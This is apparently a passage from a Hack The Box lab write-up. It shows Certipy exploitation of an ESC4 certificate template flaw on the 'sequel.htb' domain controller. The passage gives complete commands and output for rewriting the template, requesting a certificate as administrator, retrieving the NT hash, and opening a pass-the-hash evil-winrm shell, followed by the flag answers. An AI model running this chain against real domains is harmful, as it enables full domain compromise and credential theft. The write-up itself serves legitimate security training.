[*] Checking web enrollment for CA 'sequel-DC01-CA' @ 'DC01.sequel.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC01-CA
DNS Name : DC01.sequel.htb
Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb
Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3
Certificate Validity Start : 2024-06-08 16:50:40+00:00
Certificate Validity End : 2124-06-08 17:00:40+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireCommonName
Enrollment Flag : PublishToDs
AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-09-17T13:55:27+00:00
Template Last Modified : 2026-09-17T13:55:27+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Property Enroll : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
[+] User Enrollable Principals : SEQUEL.HTB\Cert Publishers
[+] User ACL Principals : SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : User has dangerous permissions.
[...]
We see that the template DunderMifflinAuthentication is vulnerable, since the Cert Publishers group has dangerous permissions.
Answer: DunderMifflinAuthentication
Question 10: What is the Administrator user's NTLM hash?
First, we use Certipy to save the current (backup) config using -save-configuration. We have write access (WriteOwner/WriteDacl/WriteProperty) to the DunderMifflinAuthentication template's AD object and dump the template's current LDAP attributes to JSON so we can restore them later.
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ certipy template -u ca_svc -p 'Password123!!' -dc-ip 10.129.232.148 -template DunderMifflinAuthentication -save-configuration DunderMifflinAuthentication.json
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Wrote current configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
Then we overwrite it with a vulnerable ESC1 configuration. msPKI-Certificate-Name-Flag: 1 sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. This is critical because it flips the template from "CA builds the subject/SAN from the AD object" to "We supply the subject/SAN ourself in the CSR", which removes the DNS requirement blocking us. msPKI-Certificate-Application-Policy / pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] handles the Client Authentication EKU, so the resulting cert can be used for domain auth. msPKI-Enrollment-Flag: 0 means no manager approval, no CA-certificate-manager approval needed, and issued instantly. The security descriptor was also replaced with something permissive enough that ca_svc can still enroll.
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ certipy template -u ca_svc -p 'Password123!!' -dc-ip 10.129.232.148 -template DunderMifflinAuthentication -write-default-configuration
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Saving current configuration to 'DunderMifflinAuthentication.json'
File 'DunderMifflinAuthentication.json' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote current configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x9cD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x00\x00\x14\x00\x94\x00\x02\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*] flags: 66104
[*] pKIDefaultKeySpec: 2
[*] pKIKeyUsage: b'\x86\x00'
[*] pKIMaxIssuingDepth: -1
[*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*] pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
[*] msPKI-Enrollment-Flag: 0
[*] msPKI-Private-Key-Flag: 16
[*] msPKI-Certificate-Name-Flag: 1
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'DunderMifflinAuthentication'? (y/N): y
[*] Successfully updated 'DunderMifflinAuthentication'
Because the template now lets us supply the subject, Certipy embedded administrator@sequel.htb directly into the CSR's SAN (as a UPN entry) instead of the CA trying to derive it from ca_svc's AD object. The CA accepted it and issued immediately.
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ certipy req -u ca_svc@sequel.htb -p 'Password123!!' -ca sequel-DC01-CA -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.129.232.148 -upn administrator@sequel.htb
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 9
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ certipy auth -pfx administrator.pfx -dc-ip 10.129.232.148
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@sequel.htb'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Answer: 7a8d4e04986afa8ed4060f75e5a0b3ff
Question 11: Submit the flag located on the Administrator user's Desktop.
The retrieved hash allows us to perform a Pass-the-Hash attack to login as the Administrator.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ evil-winrm -i 10.129.232.148 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/17/2026 7:16 AM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
99cb77bcea342a590159ad0d47b75d84
Answer: 99cb77bcea342a590159ad0d47b75d84
See you in the next Hacking Lab.
@aaronamran
September 2026